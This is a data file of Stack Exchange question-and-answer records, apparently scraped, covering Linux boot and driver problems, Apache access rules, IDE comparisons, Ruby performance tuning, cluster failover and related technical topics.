{  "id": "_unix.355512"  , "question": "I have an old PC that I started putting Linux distros on a long time ago and now I got it running one called Elementary OS. I'm trying to boot from a USB drive ISO, and it won't let me do it. I've never dealt with grub before and I don't understand it. I've read some of the related answers on here and elsewhere like this http://blog.viktorpetersson.com/post/93191892924/how-to-boot-from-usb-with-grub2But if I type initrd(hd1,0) then boot it gives me an error saying I have to load the kernel first.Another answer said chainloader +1 but that also gives me an error.I can get to the BIOS (Gateway) and select the USB drive but it always puts me right into grub. Am I stuck using Elementary OS forever?"  , "title": "Linux boot from USB - grub, bios"  , "tags": "boot;usb"  } 
{  "id": "_unix.369993"  , "question": "I'm trying to compile a gstreamer plugin, using the general autotools setup.  The plugin requires a specialized shared library 'libdce' which I know is installed on my machine, as a shared object in /usr/lib/ as libdce.so.1.  When I run configure, the script fails as libdce is not a package.  The error log is below:checking for LIBDCE... configure: error: Package requirements (libdce >= 1.0.0) were not met:No package 'libdce' foundConsider adjusting the PKG_CONFIG_PATH environment variable if youinstalled software in a non-standard prefix.Alternatively, you may set the environment variables LIBDCE_CFLAGSand LIBDCE_LIBS to avoid the need to call pkg-config.See the pkg-config man page for more details.How would I be able to link the shared library to the configure script?There is also a libdce package installed on this machine, installed as libdce1"  , "title": "Configure not finding shared library, despite that library being installed"  , "tags": "software installation;configure;gstreamer"  } 
{  "id": "_unix.162311"  , "question": "Normally I like to have all of the debug output of a script go to a file, so I will have something like:exec 2> somefileset -xvThis work very will in bash, but I have noticed in ksh it behaves differently when it comes to functions.  I noticed when I do this in ksh, the output does not show the function trace, only that the function was called.When doing some additional testing, I noticed the behavior also depends on how the function was declared, if I use the ksh syntax of:function doSometime {....}All I see is the function call, however if declare the function using the other method, egdoSomething() {....}The trace works as expected.  Is it possible to get set -xv to work the same with both types of function declarations?  I tried export SHELLOPTS and that did not make a difference either.I am using ksh93 on Solaris 11."  , "title": "set -xv behavior in ksh vs bash"  , "tags": "ksh;debugging;function"  , "accepted_answer": "From the documentation:Functions  defined by the function name syntax and called by name execute in the same process as the caller and         share all files and present working directory with the caller.  Traps caught by the caller are reset  to  their         default  action inside the function.WhereasFunctions  defined  with the name() syntax and functions defined with the function name syntax that are invoked         with the .  special built-in are executed in the caller's environment and share all variables  and  traps  with         the caller.The solution is to not use the function keyword; stick to the standard form of function definitions.Alternatively, if you're only interested in a few functions, typeset -tf fname will just trace the function fname (if it was defined with the function keyword).To stop tracing: typeset +tf fnameTo trace all such functions in ksh93: typeset -tf $(typeset +f)To see which functions are traced: typeset +tfTo stop tracing all functions: typeset +tf $(typeset +tf)"  } 
{  "id": "_cstheory.37071"  , "question": "I'm a mathematics student in my junior year and I'm interested in computational complexity and specially geometric complexity theory. I'm going to learn algebraic geometry and representation theory but I want to consider the parts that are related to geometric complexity theory so I wonder What are the topics that should be mastered by someone who wants to understand geometric computational complexity?Surely, a lot of algebraic geometry and representation theory are needed, but which topics? and representation theory of what? finite groups? lie algebras(probably not) etc? and which topics in algebraic geometry are needed? It would be great if it is possible to name some topics that are required to be well understood in algebraic geometry and representation theory to before tackling  geometric  complexity theory. naming good resources ( texts etc ) that cover this background will be highly appreciated too.I have asked the same question on math stackexchange but got no answer, so I thought I should ask it here."  , "title": "What is the background in algebraic geometry and representation theory needed for geometric complexity theory?"  , "tags": "cc.complexity theory;reference request;lo.logic;time complexity;p vs np"  } 
{  "id": "_softwareengineering.21987"  , "question": "I know there have been questions like What is your favorite editor/IDE?, but none of them have answered this question: Why spend the money  on IntelliJ when Eclipse is free?I'm personally a big IntelliJ fan, but I haven't really tried Eclipse. I've used IntelliJ for projects that were Java, JSP, HTML/CSS, Javascript, PHP, and Actionscript, and the latest version, 9, has been excellent for all of them.Many coworkers in the past have told me that they believe Eclipse to be pretty much the same as IntelliJ, but, to counter that point, I've occasionally sat behind a developer using Eclipse who's seemed  comparably inefficient (to accomplish roughly the same task), and I haven't experienced this with IntelliJ. They may be on par feature-by-feature but features can be ruined by a poor user experience, and I wonder if it's possible that IntelliJ is easier to pick up and discover time-saving features.For users who are already familiar with Eclipse, on top of the real cost of IntelliJ, there is also the cost of time spent learning the new app. Eclipse gets a lot of users who simply don't want to spend $250 on an IDE.If IntelliJ really could help my team be more productive, how could I sell it to them? For those users who've tried both, I'd be very interested in specific pros or cons either way."  , "title": "How is IntelliJ better than Eclipse?"  , "tags": "java;ide;eclipse;intellij"  , "accepted_answer": "I work with Intellij (9.0.4 Ultimate) and Eclipse (Helios) every day and Intellij beats Eclipse every time. How? Because Intellij indexes the world and everything just works intuitively. I can navigate around my code base much, much faster in Intellij. F3 (type definition) works on everything - Java, JavaScript, XML, XSD, Android, Spring contexts. Refactoring works everywhere and is totally reliable (I've had issues with Eclipse messing up my source in strange ways). CTRL+G (where used) works everywhere. CTRL+T (implementations) keeps track of the most common instances that I use and shows them first. Code completion and renaming suggestions are so clever that it's only when you go back to Eclipse that you realise how much it was doing for you. For example, consider reading a resource from the classpath by typing getResourceAsStream(/ at this point Intellij will be showing you a list of possible files that are currently available on the classpath and you can quickly drill down to the one you want. Eclipse - nope.The (out of the box) Spring plugin for Intellij is vastly superior to SpringIDE mainly due to their code inspections. If I've missed out classes or spelled something wrong then I'm getting a red block in the corner and red ink just where the problem lies. Eclipse - a bit, sort of.Overall, Intellij builds up a lot of knowledge about your application and then uses that knowledge to help you write better code, faster.Don't get me wrong, I love Eclipse to bits. For the price, there is no substitute and I recommend it to my clients in the absence of Intellij. But once I'd trialled Intellij, it paid for itself within a week so I bought it, and each of the major upgrades since. I've never looked back."  } 
{  "id": "_hardwarecs.2038"  , "question": "I am looking for a DVR like product capable of following: can connect to various CCTV cameras (with a standard BNC output) mostly PAL CVBS.downloading of historical data can be performed remotely (nightly) over a secured channel (SFTP, SSH, Windows share etc.), eventually less secure FTP etc. from a distant location over IP network, the format should be preferably chunks of some standard video format like mp4 with H.264 codecsupports options to embed real-time video output into a custom web page or windows appsupports good motion detection and good quality with options (ideally storing both motion detected scenes and the whole time separately)it would be nice to have a good metadata about videos created, so that output recordings time vs. motion detection could be created programaticallycan be setup to delete old recordings automatically or programaticallyprovides option to connect external monitor to show real-time cameras' pictures on siteI am considering creating an intranet video surveillance server. So I am looking for a DVR with good automation options. Ideally with video surveillance server software option.Ok, I just need a good universal and not too expensive device even without points 2 - 3 (downloading ..., embedded video output), if there are any ideas?"  , "title": "One DVR device to standardize video surveillance on multiple sites"  , "tags": "video;video camera;video capture"  , "accepted_answer": "After some considerations I have decided for HIKVISION platform. I chose that platform over DASHUA mostly because of better support in my country and better firmware upgrade program.Multiple platform (like DASHUA, HIKVISION, AVTECH etc.) cannot be mixed nowadays mostly because ONVIF G standard is not yet widely implemented. Some attempts like Ozeki SDK exist to unify surveillance devices in terms of universal software library, but downloading historical data is not supported on the DVR/NVR devices yet.So it is better option to buy a new hybrid DVR on every site and use one common software like iVMS 4200.Such a device is eitherHCVR5104/5108/5116HS-S3 with SmartPSSorDS-7204/7208/16HQHI-F1/Nwith iVMS 4200 (which I chose).Hope one day the ONVIF G gets implemented and there will be a decent SDK or unversal tools to use it with various devices."  } 
{  "id": "_codereview.56225"  , "question": "I'm trying to get a better understanding of decoupling methods. Right now, I have this method:private bool ContainsLegalFirstName(DataRow row, string legalFirstNameColumn){    return row.Table.Columns.Contains(legalFirstNameColumn)        && !String.IsNullOrEmpty(row[legalFirstNameColumn].ToString());}I was thinking about changing the DataRow to an IDataRecord and adding an IListSource parameter and passing in the DataTable, but then the problem is I can't access the columns of the DataTable from the IListSource. Any suggestions or is what I have good enough?"  , "title": "Loose coupling, accessing class properties"  , "tags": "c#;interface;.net datatable"  , "accepted_answer": "As DataRow does not implement IDataRecord, you would have to pass an adapter that wraps the row and implements the interface. Also, passing an IListSource would only help if it always returned a ITypedList (which is not guaranteed) which you could then query for available properties by name. But what would be the advantage of all that?In my opinion, the parameter types are alright. We are still talking about a private helper method, not one that needs to be accessible using all kinds of interfaces. There are, however, some things that I might change:Either: Rename the method to represent that it actually does not care about the legal first name. You could currently rename it to ContainsLegalLastName without any change in behaviour.Or: Remove the legalFirstNameColumn and get that value from somewhere else (some configuration, const, ).Unless you decide to remove the column name parameter and get the column name from an instance variable, make the method static. It currently does not use any state at all."  } 
{  "id": "_unix.273185"  , "question": "I've got a problem: my laptop loads the Nvidia driver despite it having been added to /etc/modprobe/blacklist.conf as blacklist nvidia, as well as in /etc/default/grub, and as rdblacklist nvidia in GRUB_CMDLINE_LINUX. This leads to the machine running hot and not-so-smooth on battery. Why is not Fedora not obeying my blacklist configuration? What can be done?Update.Files:[0] % cat /etc/modprobe.d/bumblebee.conf       blacklist nvidiablacklist nouveauoptions bbswitch load_state=0 unload_state=0[0] % cat /etc/default/grub GRUB_TIMEOUT=5GRUB_DISTRIBUTOR=$(sed 's, release .*$,,g' /etc/system-release)GRUB_DEFAULT=savedGRUB_DISABLE_SUBMENU=trueGRUB_TERMINAL_OUTPUT=consoleGRUB_CMDLINE_LINUX=rd.lvm.lv=fedora/root rd.lvm.lv=fedora/swap  nouveau.modeset=0 rd.driver.blacklist=nouveau,nvidia rhgb quietGRUB_DISABLE_RECOVERY=trueEDIT: lsmod|grep nvidia[1] % lsmod|grep nvidianvidia               8642560  1drm                   335872  12 i915,drm_kms_helper,nvidia"  , "title": "Nvidia is loaded despite it being blacklisted"  , "tags": "fedora;nvidia;bumblebee"  , "accepted_answer": "The module might be loaded in the initramfs on boot. You must regenerate the initramfs to include your modifications to /etc/modprobe.d/*Run the following to regenerate your initramfsdracut -f /boot/your-initramfsOn reboot, the driver should not be loaded automatically"  } 
{  "id": "_unix.148905"  , "question": "I want to redirect all the inside network IPs (and only the inside network 192.168.1.0) to an error page except some IPs, A condition like this:if ( IP_from_Network = 192.168.1.0 and ((IP != 192.168.1.4) or (IP != 192.168.1.5)or (IP != 192.168.1.6)) ){redirect to an error page}so I have trying to achieve this using RewriteEngine: RewiteEngine OnRewriteCond   %{REMOTE_ADDR}   !^192\\.168\\.1\\.4$  [NC]RewriteCond   %{REMOTE_ADDR}   !^192\\.168\\.1\\.5$  [NC]RewriteCond   %{REMOTE_ADDR}   !^192\\.168\\.1\\.6$  [NC]RewriteCond   %{REMOTE_ADDR}   ^192\\.168\\.1\\.*$  [NC]RewriteCond   %{REQUEST_URI}   ^/test/manager/.* [NC]RewriteRule    ^(.*)$           -                 [R=404,L]but this didn't work for meShould I use other tags like [OR] or [AND]?Update:Directory tag:<Directory /var/www/html/test>  Order allow,deny  Allow from 192.168.1  RewriteEngine on  RewriteCond   %{REMOTE_ADDR}   !^192\\.168\\.1\\.4$  [NC]  RewriteCond   %{REMOTE_ADDR}   !^192\\.168\\.1\\.5$  [NC]  RewriteCond   %{REMOTE_ADDR}   !^192\\.168\\.1\\.6$  [NC]  RewriteCond   %{REMOTE_ADDR}   ^192\\.168\\.1\\.*$  [NC]  RewriteCond   %{REQUEST_URI}   ^/test/manager/.* [NC]  RewriteRule   ^(.*)$           -                 [R=404,L]</Directory>"  , "title": "Forbid some IPs from a certain Network on Apache?"  , "tags": "apache httpd;rewrite"  , "accepted_answer": "Use Allow/Deny instead:<Location /test/manager/>  Order Deny,Allow  Deny from  192.168.1.0/24  Allow from 192.168.1.4 192.168.1.5 192.168.1.6</Location>Notice that this allows also any other IP, which I think is not what you want. If so, swap the Order and remove the Deny line:<Location /test/manager/>  Order Allow,Deny  Allow from 192.168.1.4 192.168.1.5 192.168.1.6</Location>"  } 
{  "id": "_cs.47682"  , "question": "I have a set $E$ which is the set of all possible $d$-tuples ($d$-dimensional vectors) of integers between $1$ and $n$.Typically $d=3$ and $n\\approx1000$, but for the sake of making a small example, suppose $d = 2$ and $n = 4$, so$$E = \\{(1,1),(1,2),(1,3),(1,4),(2,1),(2,2),(2,3),(2,4),(3,1),(3,2),(3,3),(3,4),(4,1),(4,2),(4,3),(4,4)\\}\\,.$$Given an arbitrary nonempty $J\\subseteq E$, I would like to find the product of the lengths of its projections on the axes, in other words, the area of the minimal axis-aligned bounding box of the 2d points in $J$.For example, given $J = \\{(2,3),(3,2),(4,1),(4,2)\\}$, my function would return$$f(J) = (\\max(2,3,4,4)-\\min(2,3,4,4))(\\max(3,2,1,2)-\\min(3,2,1,2)) = (4 - 2)(3 - 1) = 4\\,.$$I want to perform this calculation for every possible non-empty $J\\subseteq E$, of which there are $2^{16} - 1 = 65,535$. At present I call built-in Max and Min commands every time, i.e. four such calls for each evaluation of $f$, hence $65,535\\times 4 = 262,140$ calls. Presumably each time Max or Min is called, it sorts the positive integers fed to it.This seems horribly inefficient, since for $J_1$ and $J_2$ having many elements in common, the lists to be sorted for $J_1$ are very similar to the lists to be sorted for $J_2$, so there may be great repetition of comparisons, even if the built in Max or Min function is efficient within itself.What is a good way to solve this problem which achieves a balance between efficiency of time and memory, given the typical parameters $d = 3$ and $n = 1000$?Should I store the nonempty subsets $J$ of $E$ in some kind of graph structure, and have my algorithm traverse this graph somehow?EDIT:So what Im actually trying to do is to evaluate$R(s_1, \\ldots, s_d, n_1, \\ldots, n_d; q) =1 + \\sum_{J \\in \\mathcal{P}(E) \\setminus \\emptyset}(-1)^{|J|}\\prod_{J' \\in \\mathcal{P}(J) \\setminus \\emptyset}\\exp\\left [(-1)^{|J'|}\\ln\\left (\\frac{1}{q}\\right )\\prod_{r=1}^d\\max\\left (0, s_r -\\left (\\max_{e \\in J'} e_r - \\min_{e \\in J'} e_r\\right )\\right )\\right ],$where $d \\in \\mathbb{N}$, $n_1, \\ldots, n_d \\in \\mathbb{N}$, and $s_1, \\ldots s_d \\in \\mathbb{N}$ with $1 \\leq s_r \\leq n_r$ for all $r \\in \\{1, \\ldots, d\\}$, and $E = \\prod_{r=1}^d \\{1, \\ldots, n_r - s_r + 1 \\}$, and $q$ is a symbol. This expression gives a polynomial in $q$. The sequence of coefficients of the polynomial is what I would like to obtain.This formula itself might well not be a very good formula for computing this polynomial, but my present task is to make an algorithm based upon the formula.The quantity$\\prod_{r=1}^d\\max\\left (0, s_r -\\left (\\max_{e \\in J'} e_r - \\min_{e \\in J'} e_r\\right )\\right )$represents the volume of the intersection of several contiguous subarrays of dimensions $s_1 \\times \\ldots \\times s_d$, within a large array of dimensions $n_1 \\times \\ldots \\times n_d$. The reason for taking the maximum of 0 and $s_r -\\left (\\max_{e \\in J'} e_r - \\min_{e \\in J'} e_r\\right )$ is that some such intersections will be empty.Re. Toms comment about enumerating bounding boxes instead of subsets, I did have the following idea, which I think might be in that spirit:Since the volume of the intersection of several contiguous subarrays is invariant with respect to translation of that set of subarrays within the large array, I could choose only to compute the volumes of a certain number $M$ of representative cases, and then copy the result to all the translates. I think$M=2^{\\left (\\prod_{r=1}^d\\min(s_r, n_r  s_r + 1)\\right )-1}$,which I computed by supposing that the top left contiguous subarray was included in the set of subarrays, and asking which other contiguous subarrays could intersect that one.EDIT:I do apologise. In my original question, $f(J)$ should not be the product of the lengths of the projections of the subset on the axes, it should simply be the sequence of lengths of the projections on the axes. As can be seen in my first edit, above, I do not compute the product of those lengths $l_r$, rather, the product $\\prod_{r=1}^d \\max(0,(s_r - l_r))$. When the $n_r$ are large compared with the $s_r$, many of those products $\\prod_{r=1}^d \\max(0,(s_r - l_r))$ will be zero, which should allow me to check many fewer than the $2^{(1000^3)}$ cases mentioned in Tom's comment."  , "title": "Efficient method to sort very large set of integer vectors by all coordinates simultaneously"  , "tags": "time complexity;efficiency"  } 
{  "id": "_softwareengineering.355733"  , "question": "Most, if not all IT people I know believe that it is beneficial to model software with UML or other types of diagrams before coding. (My question is not about UML specifically, it could be any graphical or textual description of the software design.)I am not so sure about it. The main reason is: Code doesn't lie. It is checked by the compiler or interpreter. It hopefully has automated tests and needs to pass static code analysis. If a module does not interface correctly with another module, it is usually obvious in code because you get an error message.All of this cannot be done with diagrams and other documents. Yes, there are tools that check UML, but everything I've seen so far is very limited. Therefore these documents tend to be incomplete, inconsistent or simpy false.Even if the diagrams themselves are consistent, you cannot be sure that the code actually implements them. Yes, there are code generators, but they never generate all of the code.I sometimes feel like the obsession with modeling results from the assumption that code inevitably has to be some incomprehensible mess that architects, designers or other well-paid people who get the big picture should not have to deal with. Otherwise it would get way too expensive. Therefore all design decisions should be moved away from code. Code itself should be left to specialists (code monkeys) who are able to write (and maybe read) it but don't have to deal with anything else. This probably made sense when assembler was the only option, but modern languages allow you to code at a very high level of abstraction. Therefore I don't really see the need for modeling any more.What arguments for modeling software systems am I missing?By the way, I do believe that diagrams are a great way to document and communicate certain aspects of software design but that does not mean we should base software design on them.Clarification:The question has been put on hold as being unclear. Therefore let me add some explanation:I am asking if it makes sense to use (non-code) documents that model the software as the primary source of truth about software design. I do not have the case in mind where a significant portion of the code is automatically generated from these documents. If this was the case, I would consider the documents themselves as source code and not as a model.I listed some disadvantages of this procedure that make me wonder why so many people (in my experience) consider it as the preferable way of doing software design."  , "title": "What are the benefits of modeling software systems vs. doing it all in code?"  , "tags": "design;architecture;uml;modeling"  , "accepted_answer": "The benefit of modeling software systems vs. all in code is: I can fit the model on a whiteboard.I'm a big believer in the magic of communicating on one sheet of paper. If I tried to put code on the whiteboard, when teaching our system to new coders, there simply isn't any code at the needed level of abstraction that fits on a whiteboard.I know the obsession with modeling that you're referring to. People doing things because that's how they've been done before, without thinking about why they're doing it. I've come to call it formalism. I prefer to work informally because it's harder to hide silliness behind tradition.That doesn't mean I won't whip out a UML sketch now and then. But I'll never be the guy demanding you turn in a UML document before you can code. I might require that you take 5 minutes and find SOME way to explain what you're doing because I can't stand the existence of code that only one person understands.Fowler identified different ways people use UML that he called UML modes. The dangerous thing with all of them is that they can be used to hide from doing useful work. If you're doing it to code using the mouse, well I've seen many try. Haven't seen anyone make that really work. If you're doing it to communicate you'd better make sure others understand you. If you're doing it to design you damn well better be finding and fixing problems as you work. If everything is going smoothly and most of your time is spent making the arrows look nice then knock it off and get back to work.Most importantly, don't produce diagrams that you expect to be valid more than a day. If you somehow can, you've failed. Because software is meant to be soft. Do not spend weeks getting the diagrams just right. Just tell me what's going on. If you have to, use a napkin. That said, I prefer coders who know their UML and their design patterns. They're easier to communicate with. So long as they know that producing diagrams is not a full time job."  } 
{  "id": "_softwareengineering.141005"  , "question": "How would one know if the code one has created is easily readable, understandable, and maintainable? Of course from the author's point of view, the code is readable and maintainable, because the author wrote it and edited it, to begin with. However, there must be an objective and quantifiable standard by which our profession can measure code.These goals are met when one may do the following with the code without the expert advice of the original author:It is possible to read the code and understand at a basic level the flow of logic.It is possible to understand at a deeper level what the code is doing to include inputs, outputs, and algorithms.Other developers can make meaningful changes to the original code such as bug fixes or refactoring.One can write new code such as a class or module that leverages the original code.How do we quantify or measure code quality so that we know it readable, understandable, and maintainable?"  , "title": "How would you know if you've written readable and easily maintainable code?"  , "tags": "code quality;code reviews;readability;maintainability"  , "accepted_answer": "Your peer tells you after reviewing the code.You cannot determine this yourself because you know more as the author than the code says by itself.  A computer cannot tell you, for the same reasons that it cannot tell if a painting is art or not.  Hence, you need another human - capable of maintaining the software - to look at what you have written and give his or her opinion.  The formal name of said process is Peer Review."  } 
{  "id": "_unix.336196"  , "question": "I'm trying to find a program, preferably web-based to schedule tasks, distribute files such as scripts and get an overview of about 50 RHEL servers in a confined environment.So far I've tried puppet, but it can't really schedule tasks unless you make it change cron files.Capistrano looks promising, but I have yet to try it.Hoping any of you had experience with Capistrano or other programs that might do the work or at least be able to schedule and manage tasks."  , "title": "Program for task scheduling and managing on RHEL"  , "tags": "rhel;capistrano"  } 
{  "id": "_webapps.65691"  , "question": "Is there a way to find friends who are only male or female in my friend list or in my friend's friend list?Because i see only All Friends,Mutual Friends,Recently Added,People You May Know,Followers only when i visit friends list on my profile or my friends profile."  , "title": "Sort facebook friends by gender"  , "tags": "facebook"  , "accepted_answer": "To find all of your friends who are male or female, type one of the following into the main search box at the top of the Facebook page and then press Enter:My friends who are maleMy friends who are femaleTo find all of the people in your friend's friend list who are male or female, type one of the following into the main search box at the top of the Facebook page and press Enter (you'll want to replace [name of friend] with your friend's name):Friends of [name of friend] who are maleFriends of [name of friend] who are femaleNote that Facebook will only find those people who have filled in the gender in their profile.  Facebook will not find anyone who hasn't filled in the gender in their profile."  } 
{  "id": "_softwareengineering.319696"  , "question": "I have a in-house messaging system, similar to a message broker. We have one master message broker and one slave message broker. A message broker just receives messages and sends them to all nodes. The slave is acting as a node, receiving messages from master and building state so it can take over in case of master failure.Now my problem is: how can I detect, if possible and without human intervention, that the master is dead!? The master may look dead, and the slave might be tempted to take over, but then you might end up in the situation of two masters in your system.I'm trying to understand how clustering systems implement master-dead detection. Until now it looks like a human has to manually kill the master and turn on a slave, but it would be much more preferable for this process to be automatic."  , "title": "Master-Slave Cluster - How to make sure the master is really dead for the slave to take over?"  , "tags": "message queue;cluster;messaging"  , "accepted_answer": "I'd suggest to define criteria of what dead means, then periodically poll for the dead condition and perform the swing over. Perhaps dead gets defined as hasn't sent any messages to any of the nodes in X seconds. Whatever decision tree a human currently follows to ascertain whether or not to flip service. It may be 1 condition, 10, or dozens. How well the logic is defined will control how accurately it detects dead and fails over.  Also, the swing over process should include informing the dead master that it has been declared as dead and should not perform any master type of operations. With one exception -- you might want it to retry any messages that had been passed while it was master but did not go. Or, if the client code is under your control, have the clients manage re-trying failed messages. You need something in place to prevent messages falling through the cracks. Would be a good idea to also have the dead master, if it comes back online, to come online as a secondary..... and have the deadness detector now polling the new master and ready to fail back to the original master if that master dies and the original master is up. "  } 
{  "id": "_scicomp.25728"  , "question": "I have a heat transfer equation in a cube in $R^{100}$: $[0,1]\\times[0,1]\\times[0,1]\\dots$:$$\\nabla^2 \\varphi = f,$$with boundary conditions set in a form that in the number of points $p_i$, temperature field should least deviate from observed values $o_i$, or in other words that solution of heat equation should minimise:$$\\sum_{k=0}^{m}|\\varphi(p_i) - o_i|^2.$$ This would be pretty straightforward problem in 2-3 dimensional case (assuming problem is well-posed), I've solved it with FEM successfully, but for high dimensional case I cannot even build the grid, let alone do any calculations. (I don't store $f$, I can easily calculate it in any point).It seems, I need to employ some grid-less method. I've skimmed google briefly and found two possible venues: to use radial basis functions or use particle methods. Are they applicable in my case? Do my problem feasible at all? I've never worked with high dimensional problems before, so I would like to hear all suggestions and references to the relevant and possibly relevant literature."  , "title": "Solving Poisson equation while suffering from the curse of dimensionality"  , "tags": "reference request;poisson;high dimensional"  } 
{  "id": "_unix.44339"  , "question": "I have a Windows XP/Debian Squeeze (XFCE desktop) dual-boot set up on a Dell Latitude laptop. The Windows XP portion boots fine. However, sometimes the Debian portion does not boot. If it doesn't boot, and I do a hard reboot, it will boot the second time. However, sometimes Debian will boot the first time.How can I diagnose this problem?All help appreciated![EDIT] I should mention that the improper boot manifests itself as a failure to reach the login screen. I see the standard Debian wallpaper with the stars and so on, but it doesn't display the login box."  , "title": "Weird Booting Problem with Debian Squeeze"  , "tags": "debian;windows;dual boot"  } 
{  "id": "_codereview.55063"  , "question": "I'm doing some of the Codility challenges using Ruby. The current challenge is The MaxCounter, which is described as:Calculate the values of counters after applying all alternating operations: increase counter by 1; set value of all counters to current maximum.See the link above for more details. I managed to get a solution. The performance, however, scored 0, being that some operations timed out. How can I improve my algorithm to perform better?def solution(n, a)  counter = (0..n-1).to_a.map{|z| z = 0}  for value in a    counter.map!{|x| x = counter.max} unless value <= n    counter[value-1] += 1 unless value == n+1  end  counterendUpdate - my second and third attempts, still fails on performance2nddef solution(n, a)  counter = (0..n-1).to_a.map{|z| z = 0}  a.each{|x| counter.map!{|c| c = counter.max} unless x <= n; counter[x-1] +=1 unless x==n+1;}  counterend3rddef solution(n, a)  counter = (0..n-1).to_a.map{|z| z = 0}  a.each{|x| counter[x-1] +=1 and next unless x==n+1; counter.map!{|x| x = counter.max};}  return counterend"  , "title": "Performance of Codility MaxCounter challenge solution"  , "tags": "optimization;performance;algorithm;ruby;programming challenge"  , "accepted_answer": "I can't speak to performance, since I don't know what codility considers acceptable, but I'll give it a go.In terms of reviewing your code, your solutions seem to be getting more and more compact, but that doesn't necessarily help performance. Shorter code does not  equal faster code. Sure, if you can skip code, that's one thing, but just shaving off bytes of source code is unnecessary.You certainly should not make confusing constructions like unless ... unless or and next unless. Just read that out loud, and it'll sound strange.And I don't think there's any advantage to using the self-modifying map!. In fact, there's no reason to use map at all.And please don't add pointless semi-colons. A nice aspect of Ruby is not having to use those darn things everywhere.You also seem to misinterpreting how map (with or without the !) works. These are all equivalent: counter.map! {|x| x = counter.max} counter.map! {|x| counter.max} counter.map! {counter.max}In other words, you setting the block parameter x does absolutely nothing useful - you don't even need the block parameter. The map method(s) only use the block's return value.Moreover, your block gets invoked n times by map!, since n is the counter-array's length. That means that counter.max gets called n times, even though the result is the same each time! If n is large, you're looking at a lot of unnecessary work being done there. Worst case is at that all of the values in a equal n + 1, in which case you'll be calling counter.max a total of a.count * n times. And given that you're using map!, I doubt Ruby even has a chance to cache/memoize or otherwise optimize the result of counter.max, since you keep changing the array in-place.Besides, Array provides a lot of help here, if you check the docs.fill does what it says in the name: Fills the array with a given value (or by using a block), which is what you're trying to do with map!and Array.new accepts a length and a seed value, so you can fill a brand new array right away. Don't muck around with mapping a range; just make an array of the right length that's filled with zeros.Here's my takedef solution(n, a)  counters = Array.new(n, 0) # an array of zeros (and make the var name plural, since it's an array)  limit = n + 1 # let's just calculate this once, since it's constant  a.each do |v|    if v == limit      counters.fill(counters.max) # max gets called once, and the array gets filled    elsif v > 0 && v < limit      counters[v-1] += 1 # just increment    end  end  countersendIt works for the sample input in Codility's example, but as mentioned I haven't gone beyond that.Update: With a bit of manual work, you can get rid of the call to max entirely by tracking the maximum yourself:def solution(n, a)  counters = Array.new(n, 0)  limit = n + 1  maximum = 0 # the maximum counter value  a.each do |v|    if v == limit      counters.fill(maximum) # use our known maximum    elsif v > 0 && v < limit      counter = (counters[v-1] += 1) # increment a counter and store the result      maximum = counter if counter > maximum # use the new value as maximum, if it's higher    end  end  countersendThis will likely be faster than the first approach, especially for larger values of n. It's maybe not quite as Ruby-esque to do things manually like this, but it's not terribly complex either."  } 
{  "id": "_webmaster.17720"  , "question": "I want to transfer a domain that I am buying off somebody but I want to make sure i'm not getting scammed. Is there some kind of 3rd-party website that can help me with this kind of transfer so that I can safely buy the domain and move it over to me? "  , "title": "Transferring a Domain Safely"  , "tags": "domains;transfer;purchase"  , "accepted_answer": "Use an escrow service like escrow.com. Ensuring Buyers get the Domain and Sellers get paid.Whether you're  buying or selling domain names online, Escrow.com is a name you can  trust. Escrow.com is a government licensed and audited 3rd party that  safely holds a Buyer's payment in a trust account until the entire  transaction is complete. That way, Buyers can be confident the domain  will be registered in their name and Sellers can be sure they'll be  paid.Escrow.com protects your money and your domain.Since the Buyer pays  Escrow.com and not the Seller, Escrow.com can withhold payment until  it's satisfied the domain name has been transferred by the Seller. One  of the ways Escrow.com does this is by checking the WHOIS database of  the appropriate Registrar* to make certain it properly reflects the  new Buyer's name as the domain name Registrant. Once this has been  verified, Escrow.com releases payment to the Seller.Buy and sell Domains without fear of fraud.Anytime you pay in advance  for something you've purchased on the Internet, you're taking a  chance. People can forge their identities. They can misrepresent what  they're selling. And even with the best of intentions, some people are  just plain irresponsible.That's why it's important to turn to a trusted 3rd party like  Escrow.com for transactions involving a high risk of fraud like domain  name transfers. Relying on Escrow.com is like having an insurance  policy that protects you against fraud, deception and  irresponsibility.Benefits for BuyersPeace of mind, Security, and ConvenienceAssured Domain name transfer prior to paying SellerAbility to confirm domain ownership directly with the registrar  before the seller is paid.Ability to pay by wire transfer and in some cases PayPal, check,  money order, or credit card (Visa, MasterCard, American Express)  Restrictions applyAbility to send credit card information to a financial institution,  not a strangerEasy access to live customer support by phone or email  Benefits for SellersPeace of mind, Security, and Convenience Payment verification prior to Domain name transfer Guaranteed payment once transfer specifications are met Protection against credit card fraud, insufficient funds or credit  card chargebacks Ability to accept credit cards and PayPal if otherwise not able to.  Restrictions apply Escrow fees that may be lower than merchant credit card processing  fees Easy access to live customer support by phone or email"  } 
{  "id": "_unix.29292"  , "question": "While using Fedora 14 (Gnome2), Each time if I was doing some privileged task (ex - mounting a new hard drive), I would be prompted for password and then there would appear an icon (like keys) on the taskbar. By clicking on it, I could exit the elevated priviliges mode.I do not see any such feature - to exit priviliged mode - in F15/G3.Is it possible to do so? How?"  , "title": "Fedora15/Gnome3 - Exit elevated priviliges mode"  , "tags": "fedora;security;users;gnome3"  , "accepted_answer": "In Fedora15/Gnome 3 when you execute a command which requires elevated privileges, those privileges will remain until the window that required them is closed or until the privilege timeout is reached.I think this was actually fixed just at the end of Gnome2.Worth testing to see how long you retain privileges for."  } 
{  "id": "_unix.107698"  , "question": "yum install ypchsh and yum install ldapmodify both don't find a package.  I only want to change the shell for certain ldap users on this one server.  Someone please help, I can't seem to figure this simple thing out.  The passwd file won't work because the user isn't listed there I think.  I don't just create an entry there I suppose.  If I edit their login shell in their LDAP profile I think it would apply to all systems.  There must be a mapping file somewhere -- in /etc I am guessing -- to map their attributes to local system settings."  , "title": "How do I change login shell to nologin for an LDAP user RHEL 6?"  , "tags": "shell;users;ldap;passwd"  , "accepted_answer": "It was so easy, if your nsswitch is files ldap, you could just add an entry to /etc/passwd and modify their shell to whatever value.  You cannot use useradd though, you would need to edit the passwd file with an editor like vi or use the vipw command."  } 
